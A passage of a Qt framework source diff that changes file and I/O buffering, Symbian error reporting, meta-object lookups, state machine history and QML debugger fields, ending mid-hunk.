a/src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h b/src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h index 68379a2..f983ae4 100644 --- a/src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h +++ b/src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h @@ -134,10 +134,10 @@ protected: private: Q_PRIVATE_SLOT(d, void _q_doLoadFinished(bool success)) + Q_PRIVATE_SLOT(d, void _q_updateMicroFocus()) QGraphicsWebViewPrivate* const d; friend class QGraphicsWebViewPrivate; }; #endif // QGraphicsWebView_h - Q_PRIVATE_SLOT(d, void _q_updateMicroFocus()) diff --git a/src/corelib/animation/qsequentialanimationgroup.cpp b/src/corelib/animation/qsequentialanimationgroup.cpp index 7617c1f..5ca30e6 100644 --- a/src/corelib/animation/qsequentialanimationgroup.cpp +++ b/src/corelib/animation/qsequentialanimationgroup.cpp @@ -464,12 +464,7 @@ void QSequentialAnimationGroupPrivate::setCurrentAnimation(int index, bool inter void QSequentialAnimationGroupPrivate::activateCurrentAnimation(bool intermediate) { - Q_Q(QSequentialAnimationGroup); - - if (!currentAnimation) - return; - - if (state == QSequentialAnimationGroup::Stopped) + if (!currentAnimation || state == QSequentialAnimationGroup::Stopped) return; currentAnimation->stop(); diff --git a/src/corelib/corelib.pro b/src/corelib/corelib.pro index 500cde6..83fa044 100644 --- a/src/corelib/corelib.pro +++ b/src/corelib/corelib.pro @@ -38,7 +38,6 @@ symbian: { # Partial upgrade SIS file vendorinfo = \ - "&EN" \ "; Localised Vendor name" \ "%{\"Nokia, Qt\"}" \ " " \ diff --git a/src/corelib/io/qfile.cpp b/src/corelib/io/qfile.cpp index aa1c7d9..50e9a8f 100644 --- a/src/corelib/io/qfile.cpp +++ b/src/corelib/io/qfile.cpp @@ -90,7 +90,8 @@ QFile::DecoderFn QFilePrivate::decoder = locale_decode; QFilePrivate::QFilePrivate() : fileEngine(0), lastWasWrite(false), - writeBuffer(QFILE_WRITEBUFFER_SIZE), error(QFile::NoError) + writeBuffer(QFILE_WRITEBUFFER_SIZE), error(QFile::NoError), + cachedSize(0) { } @@ -1257,8 +1258,10 @@ QFile::resize(qint64 sz) seek(sz); if(d->fileEngine->setSize(sz)) { unsetError(); + d->cachedSize = sz; return true; } + d->cachedSize = 0; d->setError(QFile::ResizeError, d->fileEngine->errorString()); return false; } @@ -1420,7 +1423,8 @@ qint64 QFile::size() const Q_D(const QFile); if (!d->ensureFlushed()) return 0; - return fileEngine()->size(); + d->cachedSize = fileEngine()->size(); + return d->cachedSize; } /*! @@ -1446,16 +1450,16 @@ bool QFile::atEnd() const { Q_D(const QFile); + // If there's buffered data left, we're not at the end. + if (!d->buffer.isEmpty()) + return false; + if (!isOpen()) return true; if (!d->ensureFlushed()) return false; - // If there's buffered data left, we're not at the end. - if (!d->buffer.isEmpty()) - return false; - // If the file engine knows best, say what it says. if (d->fileEngine->supportsExtension(QAbstractFileEngine::AtEndExtension)) { // Check if the file engine supports AtEndExtension, and if it does, @@ -1463,6 +1467,11 @@ bool QFile::atEnd() const return d->fileEngine->atEnd(); } + // if it looks like we are at the end, or if size is not cached, + // fall through to bytesAvailable() to make sure. + if (pos() < d->cachedSize) + return false; + // Fall back to checking how much is available (will stat files). return bytesAvailable() == 0; } @@ -1502,12 +1511,21 @@ qint64 QFile::readLineData(char *data, qint64 maxlen) if (!d->ensureFlushed()) return -1; - if (d->fileEngine->supportsExtension(QAbstractFileEngine::FastReadLineExtension)) - return d->fileEngine->readLine(data, maxlen); + qint64 read; + if (d->fileEngine->supportsExtension(QAbstractFileEngine::FastReadLineExtension)) { + read = d->fileEngine->readLine(data, maxlen); + } else { + // Fall back to QIODevice's readLine implementation if the engine + // cannot do it faster. + read = QIODevice::readLineData(data, maxlen); + } + + if (read < maxlen) { + // failed to read all requested, may be at the end of file, stop caching size so that it's rechecked + d->cachedSize = 0; + } - // Fall back to QIODevice's readLine implementation if the engine - // cannot do it faster. - return QIODevice::readLineData(data, maxlen); + return read; } /*! @@ -1528,6 +1546,12 @@ qint64 QFile::readData(char *data, qint64 len) err = QFile::ReadError; d->setError(err, d->fileEngine->errorString()); } + + if (read < len) { + // failed to read all requested, may be at the end of file, stop caching size so that it's rechecked + d->cachedSize = 0; + } + return read; } diff --git a/src/corelib/io/qfile_p.h b/src/corelib/io/qfile_p.h index f8f5f5c..cf76c09 100644 --- a/src/corelib/io/qfile_p.h +++ b/src/corelib/io/qfile_p.h @@ -84,6 +84,8 @@ protected: void setError(QFile::FileError err, const QString &errorString); void setError(QFile::FileError err, int errNum); + mutable qint64 cachedSize; + private: static QFile::EncoderFn encoder; static QFile::DecoderFn decoder; diff --git a/src/corelib/io/qfsfileengine_p.h b/src/corelib/io/qfsfileengine_p.h index d07c3a0..365652a 100644 --- a/src/corelib/io/qfsfileengine_p.h +++ b/src/corelib/io/qfsfileengine_p.h @@ -151,6 +151,10 @@ public: static bool uncListSharesOnServer(const QString &server, QStringList *list); #endif +#ifdef Q_OS_SYMBIAN + void setSymbianError(int symbianError, QFile::FileError defaultError, QString defaultString); +#endif + protected: QFSFileEnginePrivate(); diff --git a/src/corelib/io/qfsfileengine_unix.cpp b/src/corelib/io/qfsfileengine_unix.cpp index 3dcc1ad..1415e44 100644 --- a/src/corelib/io/qfsfileengine_unix.cpp +++ b/src/corelib/io/qfsfileengine_unix.cpp @@ -81,6 +81,40 @@ static bool isRelativePathSymbian(const QString& fileName) && ((fileName.at(0).isLetter() && fileName.at(1) == QLatin1Char(':')) || (fileName.at(0) == QLatin1Char('/') && fileName.at(1) == QLatin1Char('/'))))); } + +/*! + \internal + convert symbian error code to the one suitable for setError. + example usage: setSymbianError(err, QFile::CopyError, QLatin1String("copy error")) +*/ +void QFSFileEnginePrivate::setSymbianError(int symbianError, QFile::FileError defaultError, QString defaultString) +{ + Q_Q(QFSFileEngine); + switch (symbianError) { + case KErrNone: + q->setError(QFile::NoError, QLatin1String("")); + break; + case KErrAccessDenied: + q->setError(QFile::PermissionsError, QLatin1String("access denied")); + break; + case KErrPermissionDenied: + q->setError(QFile::PermissionsError, QLatin1String("permission denied")); + break; + case KErrAbort: + q->setError(QFile::AbortError, QLatin1String("aborted")); + break; + case KErrCancel: + q->setError(QFile::AbortError, QLatin1String("cancelled")); + break; + case KErrTimedOut: + q->setError(QFile::TimeOutError, QLatin1String("timed out")); + break; + default: + q->setError(defaultError, defaultString); + break; + } +} + #endif /*! @@ -427,8 +461,10 @@ bool QFSFileEngine::copy(const QString &newName) } ) // End TRAP delete fm; - // ### Add error reporting on failure - return (err == KErrNone); + if (err == KErrNone) + return true; + d->setSymbianError(err, QFile::CopyError, QLatin1String("copy error")); + return false; #else Q_UNUSED(newName); // ### Add copy code for Unix here diff --git a/src/corelib/io/qiodevice.cpp b/src/corelib/io/qiodevice.cpp index c93f0c3..f83c142 100644 --- a/src/corelib/io/qiodevice.cpp +++ b/src/corelib/io/qiodevice.cpp @@ -84,10 +84,6 @@ void debugBinaryString(const char *data, qint64 maxlen) } #endif -#ifndef QIODEVICE_BUFFERSIZE -#define QIODEVICE_BUFFERSIZE Q_INT64_C(16384) -#endif - #define Q_VOID #define CHECK_MAXLEN(function, returnType) \ @@ -123,7 +119,9 @@ void debugBinaryString(const char *data, qint64 maxlen) QIODevicePrivate::QIODevicePrivate() : openMode(QIODevice::NotOpen), buffer(QIODEVICE_BUFFERSIZE), pos(0), devicePos(0) + , pPos(&pos), pDevicePos(&devicePos) , baseReadLineDataCalled(false) + , firstRead(true) , accessMode(Unset) #ifdef QT_NO_QOBJECT , q_ptr(0) @@ -449,11 +447,15 @@ QIODevice::OpenMode QIODevice::openMode() const */ void QIODevice::setOpenMode(OpenMode openMode) { + Q_D(QIODevice); #if defined QIODEVICE_DEBUG printf("%p QIODevice::setOpenMode(0x%x)\n", this, int(openMode)); #endif - d_func()->openMode = openMode; - d_func()->accessMode = QIODevicePrivate::Unset; + d->openMode = openMode; + d->accessMode = QIODevicePrivate::Unset; + d->firstRead = true; + if (!isReadable()) + d->buffer.clear(); } /*! @@ -537,6 +539,7 @@ bool QIODevice::open(OpenMode mode) d->pos = (mode & Append) ? size() : qint64(0); d->buffer.clear(); d->accessMode = QIODevicePrivate::Unset; + d->firstRead = true; #if defined QIODEVICE_DEBUG printf("%p QIODevice::open(0x%x)\n", this, quint32(mode)); #endif @@ -566,6 +569,7 @@ void QIODevice::close() d->errorString.clear(); d->pos = 0; d->buffer.clear(); + d->firstRead = true; } /*! @@ -729,6 +733,12 @@ qint64 QIODevice::bytesToWrite() const return qint64(0); } +#ifdef Q_CC_RVCT +// arm mode makes the 64-bit integer operations much faster in RVCT 2.2 +#pragma push +#pragma arm +#endif + /*! Reads at most \a maxSize bytes from the device into \a data, and returns the number of bytes read. If an error occurs, such as when @@ -745,21 +755,17 @@ qint64 QIODevice::bytesToWrite() const qint64 QIODevice::read(char *data, qint64 maxSize) { Q_D(QIODevice); - CHECK_READABLE(read, qint64(-1)); - CHECK_MAXLEN(read, qint64(-1)); #if defined QIODEVICE_DEBUG printf("%p QIODevice::read(%p, %d), d->pos = %d, d->buffer.size() = %d\n", this, data, int(maxSize), int(d->pos), int(d->buffer.size())); #endif - const bool sequential = d->isSequential(); // Short circuit for getChar() if (maxSize == 1) { int chint; while ((chint = d->buffer.getChar()) != -1) { - if (!sequential) - ++d->pos; + ++(*d->pPos); char c = char(uchar(chint)); if (c == '\r' && (d->openMode & Text)) @@ -773,61 +779,77 @@ qint64 QIODevice::read(char *data, qint64 maxSize) } } + CHECK_MAXLEN(read, qint64(-1)); qint64 readSoFar = 0; bool moreToRead = true; do { - int lastReadChunkSize = 0; - // Try reading from the buffer. - if (!d->buffer.isEmpty()) { - lastReadChunkSize = d->buffer.read(data + readSoFar, maxSize - readSoFar); - readSoFar += lastReadChunkSize; - if (!sequential) - d->pos += lastReadChunkSize; + int lastReadChunkSize = d->buffer.read(data, maxSize); + *d->pPos += lastReadChunkSize; + readSoFar += lastReadChunkSize; + // fast exit when satisfied by buffer + if (lastReadChunkSize == maxSize && !(d->openMode & Text)) + return readSoFar; + + if (lastReadChunkSize > 0) { + data += lastReadChunkSize; + maxSize -= lastReadChunkSize; #if defined QIODEVICE_DEBUG printf("%p \treading %d bytes from buffer into position %d\n", this, lastReadChunkSize, int(readSoFar) - lastReadChunkSize); #endif - } else if ((d->openMode & Unbuffered) == 0 && maxSize < QIODEVICE_BUFFERSIZE) { - // In buffered mode, we try to fill up the QIODevice buffer before - // we do anything else. - int bytesToBuffer = qMax(maxSize - readSoFar, QIODEVICE_BUFFERSIZE); - char *writePointer = d->buffer.reserve(bytesToBuffer); - - // Make sure the device is positioned correctly. - if (d->pos != d->devicePos && !sequential && !seek(d->pos)) - return qint64(-1); - qint64 readFromDevice = readData(writePointer, bytesToBuffer); - d->buffer.chop(bytesToBuffer - (readFromDevice < 0 ? 0 : int(readFromDevice))); + } else { + if (d->firstRead) { + // this is the first time the file has been read, check it's valid and set up pos pointers + // for fast pos updates. + CHECK_READABLE(read, qint64(-1)); + d->firstRead = false; + if (d->isSequential()) { + d->pPos = &d->seqDumpPos; + d->pDevicePos = &d->seqDumpPos; + } + } - if (readFromDevice > 0) { - if (!sequential) - d->devicePos += readFromDevice; + if ((d->openMode & Unbuffered) == 0 && maxSize < QIODEVICE_BUFFERSIZE) { + // In buffered mode, we try to fill up the QIODevice buffer before + // we do anything else. + // buffer is empty at this point, try to fill it + int bytesToBuffer = QIODEVICE_BUFFERSIZE; + char *writePointer = d->buffer.reserve(bytesToBuffer); + + // Make sure the device is positioned correctly. + if (d->pos != d->devicePos && !d->isSequential() && !seek(d->pos)) + return readSoFar ? readSoFar : qint64(-1); + qint64 readFromDevice = readData(writePointer, bytesToBuffer); + d->buffer.chop(bytesToBuffer - (readFromDevice < 0 ? 0 : int(readFromDevice))); + + if (readFromDevice > 0) { + *d->pDevicePos += readFromDevice; #if defined QIODEVICE_DEBUG - printf("%p \treading %d from device into buffer\n", this, int(readFromDevice)); + printf("%p \treading %d from device into buffer\n", this, int(readFromDevice)); #endif - if (readFromDevice < bytesToBuffer) - d->buffer.truncate(int(readFromDevice)); - if (!d->buffer.isEmpty()) { - lastReadChunkSize = d->buffer.read(data + readSoFar, maxSize - readSoFar); - readSoFar += lastReadChunkSize; - if (!sequential) - d->pos += lastReadChunkSize; + if (!d->buffer.isEmpty()) { + lastReadChunkSize = d->buffer.read(data, maxSize); + readSoFar += lastReadChunkSize; + data += lastReadChunkSize; + maxSize -= lastReadChunkSize; + *d->pPos += lastReadChunkSize; #if defined QIODEVICE_DEBUG - printf("%p \treading %d bytes from buffer at position %d\n", this, - lastReadChunkSize, int(readSoFar)); + printf("%p \treading %d bytes from buffer at position %d\n", this, + lastReadChunkSize, int(readSoFar)); #endif + } } } } // If we need more, try reading from the device. - if (readSoFar < maxSize) { + if (maxSize > 0) { // Make sure the device is positioned correctly. - if (d->pos != d->devicePos && !sequential && !seek(d->pos)) - return qint64(-1); - qint64 readFromDevice = readData(data + readSoFar, maxSize - readSoFar); + if (d->pos != d->devicePos && !d->isSequential() && !seek(d->pos)) + return readSoFar ? readSoFar : qint64(-1); + qint64 readFromDevice = readData(data, maxSize); #if defined QIODEVICE_DEBUG printf("%p \treading %d bytes from device (total %d)\n", this, int(readFromDevice), int(readSoFar)); #endif @@ -835,27 +857,21 @@ qint64 QIODevice::read(char *data, qint64 maxSize) // error and we haven't read anything: return immediately return -1; } - if (readFromDevice <= 0) { - moreToRead = false; - } else { - // see if we read as much data as we asked for - if (readFromDevice < maxSize - readSoFar) - moreToRead = false; - + if (readFromDevice > 0) { lastReadChunkSize += int(readFromDevice); readSoFar += readFromDevice; - if (!sequential) { - d->pos += readFromDevice; - d->devicePos += readFromDevice; - } + data += readFromDevice; + maxSize -= readFromDevice; + *d->pPos += readFromDevice; + *d->pDevicePos += readFromDevice; } - } else { - moreToRead = false; } + // Best attempt has been made to read data, don't try again except for text mode adjustment below + moreToRead = false; if (readSoFar && d->openMode & Text) { - char *readPtr = data + readSoFar - lastReadChunkSize; - const char *endPtr = data + readSoFar; + char *readPtr = data - lastReadChunkSize; + const char *endPtr = data; if (readPtr < endPtr) { // optimization to avoid initial self-assignment @@ -870,8 +886,11 @@ qint64 QIODevice::read(char *data, qint64 maxSize) char ch = *readPtr++; if (ch != '\r') *writePtr++ = ch; - else + else { --readSoFar; + --data; + ++maxSize; + } } // Make sure we get more data if there is room for more. This @@ -885,11 +904,15 @@ qint64 QIODevice::read(char *data, qint64 maxSize) #if defined QIODEVICE_DEBUG printf("%p \treturning %d, d->pos == %d, d->buffer.size() == %d\n", this, int(readSoFar), int(d->pos), d->buffer.size()); - debugBinaryString(data, readSoFar); + debugBinaryString(data - readSoFar, readSoFar); #endif return readSoFar; } +#ifdef Q_CC_RVCT +#pragma pop +#endif + /*! \overload @@ -997,6 +1020,12 @@ QByteArray QIODevice::readAll() return result; } +#ifdef Q_CC_RVCT +// arm mode makes the 64-bit integer operations much faster in RVCT 2.2 +#pragma push +#pragma arm +#endif + /*! This function reads a line of ASCII characters from the device, up to a maximum of \a maxSize - 1 bytes, stores the characters in \a @@ -1229,6 +1258,10 @@ qint64 QIODevice::readLineData(char *data, qint64 maxSize) return readSoFar; } +#ifdef Q_CC_RVCT +#pragma pop +#endif + /*! Returns true if a complete line of data can be read from the device; otherwise returns false. @@ -1416,9 +1449,7 @@ bool QIODevicePrivate::putCharHelper(char c) */ bool QIODevice::getChar(char *c) { - Q_D(QIODevice); - CHECK_READABLE(getChar, false); - + // readability checked in read() char ch; return (1 == read(c ? c : &ch, 1)); } diff --git a/src/corelib/io/qiodevice_p.h b/src/corelib/io/qiodevice_p.h index cc4a237..94dadca 100644 --- a/src/corelib/io/qiodevice_p.h +++ b/src/corelib/io/qiodevice_p.h @@ -64,6 +64,126 @@ QT_BEGIN_NAMESPACE +#ifndef QIODEVICE_BUFFERSIZE +#define QIODEVICE_BUFFERSIZE Q_INT64_C(16384) +#endif + +// This is QIODevice's read buffer, optimised for read(), isEmpty() and getChar() +class QIODevicePrivateLinearBuffer +{ +public: + QIODevicePrivateLinearBuffer(int) : len(0), first(0), buf(0), capacity(0) { + } + ~QIODevicePrivateLinearBuffer() { + delete [] buf; + } + void clear() { + first = buf; + len = 0; + } + int size() const { + return len; + } + bool isEmpty() const { + return len == 0; + } + void skip(int n) { + if (n >= len) { + clear(); + } else { + len -= n; + first += n; + } + } + int getChar() { + if (len == 0) + return -1; + int ch = uchar(*first); + len--; + first++; + return ch; + } + int read(char* target, int size) { + int r = qMin(size, len); + memcpy(target, first, r); + len -= r; + first += r; + return r; + } + char* reserve(int size) { + makeSpace(size + len, freeSpaceAtEnd); + char* writePtr = first + len; + len += size; + return writePtr; + } + void chop(int size) { + if (size >= len) { + clear(); + } else { + len -= size; + } + } + QByteArray readAll() { + char* f = first; + int l = len; + clear(); + return QByteArray(f, l); + } + int readLine(char* target, int size) { + int r = qMin(size, len); + char* eol = static_cast<char*>(memchr(first, '\n', r)); + if (eol) + r = 1+(eol-first); + memcpy(target, first, r); + len -= r; + first += r; + return int(r); + } + bool canReadLine() const { + return memchr(first, '\n', len); + } + void ungetChar(char c) { + if (first == buf) { + // underflow, the existing valid data needs to move to the end of the (potentially bigger) buffer + makeSpace(len+1, freeSpaceAtStart); + } + first--; + len++; + *first = c; + } + +private: + enum FreeSpacePos {freeSpaceAtStart, freeSpaceAtEnd}; + void makeSpace(size_t required, FreeSpacePos where) { + size_t newCapacity = qMax(capacity, size_t(QIODEVICE_BUFFERSIZE)); + while (newCapacity < required) + newCapacity *= 2; + int moveOffset = (where == freeSpaceAtEnd) ? 0 : newCapacity - len; + if (newCapacity > capacity) { + // allocate more space + char* newBuf = new char[newCapacity]; + memmove(newBuf + moveOffset, first, len); + delete [] buf; + buf = newBuf; + capacity = newCapacity; + } else { + // shift any existing data to make space + memmove(buf + moveOffset, first, len); + } + first = buf + moveOffset; + } + +private: + // length of the unread data + int len; + // start of the unread data + char* first; + // the allocated buffer + char* buf; + // allocated buffer size + size_t capacity; +}; + class Q_CORE_EXPORT QIODevicePrivate #ifndef QT_NO_QOBJECT : public QObjectPrivate @@ -78,10 +198,15 @@ public: QIODevice::OpenMode openMode; QString errorString; - QRingBuffer buffer; + QIODevicePrivateLinearBuffer buffer; qint64 pos; qint64 devicePos; + // these three are for fast position updates during read, avoiding isSequential test + qint64 seqDumpPos; + qint64 *pPos; + qint64 *pDevicePos; bool baseReadLineDataCalled; + bool firstRead; virtual bool putCharHelper(char c); diff --git a/src/corelib/io/qwindowspipewriter.cpp b/src/corelib/io/qwindowspipewriter.cpp index 394323f..eb42c20 100644 --- a/src/corelib/io/qwindowspipewriter.cpp +++ b/src/corelib/io/qwindowspipewriter.cpp @@ -100,7 +100,7 @@ qint64 QWindowsPipeWriter::write(const char *ptr, qint64 maxlen) void QWindowsPipeWriter::run() { - OVERLAPPED overl = {0, 0, 0, 0, NULL}; + OVERLAPPED overl = {0, 0, {{ 0 }}, 0}; overl.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); forever { lock.lock(); diff --git a/src/corelib/kernel/qcoreapplication_win.cpp b/src/corelib/kernel/qcoreapplication_win.cpp index 566626d..c1925e7 100644 --- a/src/corelib/kernel/qcoreapplication_win.cpp +++ b/src/corelib/kernel/qcoreapplication_win.cpp @@ -1022,12 +1022,12 @@ QString decodeMSG(const MSG& msg) if (!winPos) break; QString hwndAfter = valueCheck(quint64(winPos->hwndInsertAfter), - FLAG_STRING((quintptr)HWND_BOTTOM, "HWND_BOTTOM"), - FLAG_STRING((quintptr)HWND_NOTOPMOST, "HWND_NOTOPMOST"), - FLAG_STRING((quintptr)HWND_TOP, "HWND_TOP"), - FLAG_STRING((quintptr)HWND_TOPMOST, "HWND_TOPMOST"), + FLAG_STRING((qptrdiff)HWND_BOTTOM, "HWND_BOTTOM"), + FLAG_STRING((qptrdiff)HWND_NOTOPMOST, "HWND_NOTOPMOST"), + FLAG_STRING((qptrdiff)HWND_TOP, "HWND_TOP"), + FLAG_STRING((qptrdiff)HWND_TOPMOST, "HWND_TOPMOST"), FLAG_STRING()); - if (hwndAfter.size() == 0) + if (hwndAfter.isEmpty()) hwndAfter = QString::number((quintptr)winPos->hwndInsertAfter, 16); QString flags = flagCheck(winPos->flags, FLGSTR(SWP_DRAWFRAME), diff --git a/src/corelib/kernel/qmetaobject.cpp b/src/corelib/kernel/qmetaobject.cpp index 312c4b2..4ad78fd 100644 --- a/src/corelib/kernel/qmetaobject.cpp +++ b/src/corelib/kernel/qmetaobject.cpp @@ -483,38 +483,37 @@ int QMetaObject::classInfoCount() const } /** \internal -* helper class for indexOf{Method,Slot,Signal}, returns the relative index of the method within +* helper function for indexOf{Method,Slot,Signal}, returns the relative index of the method within * the baseObject * \a MethodType might be MethodSignal or MethodSlot, or 0 to match everything. +* \a normalizeStringData set to true if we should do a second pass for old moc generated files normalizing all the symbols. */ template<int MethodType> static inline int indexOfMethodRelative(const QMetaObject **baseObject, const char *method, bool normalizeStringData) { - const QMetaObject *m; - for (m = *baseObject; m; m = *baseObject = m->d.superdata) { - const QMetaObject *const m = *baseObject; + for (const QMetaObject *m = *baseObject; m; m = m->d.superdata) { int i = (MethodType == MethodSignal && priv(m->d.data)->revision >= 4) ? (priv(m->d.data)->signalCount - 1) : (priv(m->d.data)->methodCount - 1); - if (i < 0) - continue; - const int end = (MethodType == MethodSlot && priv(m->d.data)->revision >= 4) ? (priv(m->d.data)->signalCount) : 0; if (!normalizeStringData) { for (; i >= end; --i) { - if ((MethodType == 0 || (m->d.data[priv(m->d.data)->methodData + 5*i + 4] & MethodTypeMask) == MethodType) - && strcmp(method, m->d.stringdata + m->d.data[priv(m->d.data)->methodData + 5*i]) == 0) + const char *stringdata = m->d.stringdata + m->d.data[priv(m->d.data)->methodData + 5*i]; + if (method[0] == stringdata[0] && strcmp(method + 1, stringdata + 1) == 0) { + *baseObject = m; return i; + } } } else if (priv(m->d.data)->revision < 5) { - const char *stringdata = (m->d.stringdata + m->d.data[priv(m->d.data)->methodData + 5 * i]); - const QByteArray normalizedSignature = QMetaObject::normalizedSignature(stringdata); for (; i >= end; --i) { - if ((MethodType == 0|| (m->d.data[priv(m->d.data)->methodData + 5*i + 4] & MethodTypeMask) == MethodType) - && normalizedSignature == method) + const char *stringdata = (m->d.stringdata + m->d.data[priv(m->d.data)->methodData + 5 * i]); + const QByteArray normalizedSignature = QMetaObject::normalizedSignature(stringdata); + if (normalizedSignature == method) { + *baseObject = m; return i; + } } } } @@ -537,8 +536,8 @@ int QMetaObject::indexOfConstructor(const char *constructor) const if (priv(d.data)->revision < 2) return -1; for (int i = priv(d.data)->constructorCount-1; i >= 0; --i) { - if (strcmp(constructor, d.stringdata - + d.data[priv(d.data)->constructorData + 5*i]) == 0) { + const char *data = d.stringdata + d.data[priv(d.data)->constructorData + 5*i]; + if (data[0] == constructor[0] && strcmp(constructor + 1, data + 1) == 0) { return i; } } @@ -682,18 +681,19 @@ static const QMetaObject *QMetaObject_findMetaObject(const QMetaObject *self, co */ int QMetaObject::indexOfEnumerator(const char *name) const { - int i = -1; const QMetaObject *m = this; - while (m && i < 0) { - for (i = priv(m->d.data)->enumeratorCount-1; i >= 0; --i) - if (strcmp(name, m->d.stringdata - + m->d.data[priv(m->d.data)->enumeratorData + 4*i]) == 0) { + while (m) { + const QMetaObjectPrivate *d = priv(m->d.data); + for (int i = d->enumeratorCount - 1; i >= 0; --i) { + const char *prop = m->d.stringdata + m->d.data[d->enumeratorData + 4*i]; + if (name[0] == prop[0] && strcmp(name + 1, prop + 1) == 0) { i += m->enumeratorOffset(); - break; + return i; } + } m = m->d.superdata; } - return i; + return -1; } /*! @@ -704,26 +704,27 @@ int QMetaObject::indexOfEnumerator(const char *name) const */ int QMetaObject::indexOfProperty(const char *name) const { - int i = -1; const QMetaObject *m = this; - while (m && i < 0) { - for (i = priv(m->d.data)->propertyCount-1; i >= 0; --i) - if (strcmp(name, m->d.stringdata - + m->d.data[priv(m->d.data)->propertyData + 3*i]) == 0) { + while (m) { + const QMetaObjectPrivate *d = priv(m->d.data); + for (int i = d->propertyCount-1; i >= 0; --i) { + const char *prop = m->d.stringdata + m->d.data[d->propertyData + 3*i]; + if (name[0] == prop[0] && strcmp(name + 1, prop + 1) == 0) { i += m->propertyOffset(); - break; + return i; } + } m = m->d.superdata; } - if (i == -1 && priv(this->d.data)->revision >= 3 && (priv(this->d.data)->flags & DynamicMetaObject)){ + if (priv(this->d.data)->revision >= 3 && (priv(this->d.data)->flags & DynamicMetaObject)) { QAbstractDynamicMetaObject *me = const_cast<QAbstractDynamicMetaObject *>(static_cast<const QAbstractDynamicMetaObject *>(this)); - i = me->createProperty(name, 0); + return me->createProperty(name, 0); } - return i; + return -1; } /*! diff --git a/src/corelib/statemachine/qstatemachine.cpp b/src/corelib/statemachine/qstatemachine.cpp index bd7e626..9d5c49f 100644 --- a/src/corelib/statemachine/qstatemachine.cpp +++ b/src/corelib/statemachine/qstatemachine.cpp @@ -1175,6 +1175,16 @@ void QStateMachinePrivate::removeStartState() _startState = 0; } +void QStateMachinePrivate::clearHistory() +{ + Q_Q(QStateMachine); + QList<QHistoryState*> historyStates = qFindChildren<QHistoryState*>(q); + for (int i = 0; i < historyStates.size(); ++i) { + QHistoryState *h = historyStates.at(i); + QHistoryStatePrivate::get(h)->configuration.clear(); + } +} + void QStateMachinePrivate::_q_start() { Q_Q(QStateMachine); @@ -1186,6 +1196,7 @@ void QStateMachinePrivate::_q_start() internalEventQueue.clear(); qDeleteAll(externalEventQueue); externalEventQueue.clear(); + clearHistory(); #ifdef QSTATEMACHINE_DEBUG qDebug() << q << ": starting"; diff --git a/src/corelib/statemachine/qstatemachine_p.h b/src/corelib/statemachine/qstatemachine_p.h index 0fead5d..5e1015f 100644 --- a/src/corelib/statemachine/qstatemachine_p.h +++ b/src/corelib/statemachine/qstatemachine_p.h @@ -126,6 +126,8 @@ public: QState *startState(); void removeStartState(); + void clearHistory(); + void microstep(QEvent *event, const QList<QAbstractTransition*> &transitionList); bool isPreempted(const QAbstractState *s, const QSet<QAbstractTransition*> &transitions) const; QSet<QAbstractTransition*> selectTransitions(QEvent *event) const; diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 1d96688..9a55bde 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -11,6 +11,10 @@ Using WebView now requires "import org.webkit 1.0" Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) Removed ParentAction (use ParentAnimation instead) +ScriptAction: renamed stateChangeScriptName -> scriptName +Animation: replace repeat with loops (loops: Animation.Infinite gives the old repeat behavior) +AnchorChanges: use natural form to specify anchors (anchors.left instead of left) +AnchorChanges: removed reset property. (reset: "left" should now be anchors.left: undefined) C++ API ------- diff --git a/src/declarative/debugger/qdeclarativedebug.cpp b/src/declarative/debugger/qdeclarativedebug.cpp index e4b7d4d..677d05f 100644 --- a/src/declarative/debugger/qdeclarativedebug.cpp +++ b/src/declarative/debugger/qdeclarativedebug.cpp @@ -151,6 +151,7 @@ void QDeclarativeEngineDebugPrivate::decode(QDataStream &ds, QDeclarativeDebugOb ds >> data; o.m_debugId = data.objectId; o.m_class = data.objectType; + o.m_idString = data.idString; o.m_name = data.objectName; o.m_source.m_url = data.url; o.m_source.m_lineNumber = data.lineNumber; @@ -750,8 +751,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int debugId) } QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclarativeDebugObjectReference &o) -: m_debugId(o.m_debugId), m_class(o.m_class), m_name(o.m_name), - m_source(o.m_source), m_contextDebugId(o.m_contextDebugId), +: m_debugId(o.m_debugId), m_class(o.m_class), m_idString(o.m_idString), + m_name(o.m_name), m_source(o.m_source), m_contextDebugId(o.m_contextDebugId), m_properties(o.m_properties), m_children(o.m_children) { } @@ -759,8 +760,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclar QDeclarativeDebugObjectReference & QDeclarativeDebugObjectReference::operator=(const QDeclarativeDebugObjectReference &o) { - m_debugId = o.m_debugId; m_class = o.m_class; m_name = o.m_name; - m_source = o.m_source; m_contextDebugId = o.m_contextDebugId; + m_debugId = o.m_debugId; m_class = o.m_class; m_idString = o.m_idString; + m_name = o.m_name; m_source = o.m_source; m_contextDebugId = o.m_contextDebugId; m_properties = o.m_properties; m_children = o.m_children; return *this; } @@ -775,6 +776,11 @@ QString QDeclarativeDebugObjectReference::className() const return m_class; } +QString QDeclarativeDebugObjectReference::idString() const +{ + return m_idString; +} + QString QDeclarativeDebugObjectReference::name() const { return m_name; diff --git a/src/declarative/debugger/qdeclarativedebug_p.h b/src/declarative/debugger/qdeclarativedebug_p.h index f0c7a77..4ead232 100644 --- a/src/declarative/debugger/qdeclarativedebug_p.h +++ b/src/declarative/debugger/qdeclarativedebug_p.h @@ -230,6 +230,7 @@ public: int debugId() const; QString className() const; + QString idString() const; QString name() const; QDeclarativeDebugFileReference source() const; @@ -242,6 +243,7 @@ private: friend class QDeclarativeEngineDebugPrivate; int m_debugId; QString m_class; + QString m_idString; QString m_name; QDeclarativeDebugFileReference m_source; int m_contextDebugId; diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index a7534b8..f92c207 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -444,7 +444,7 @@ void 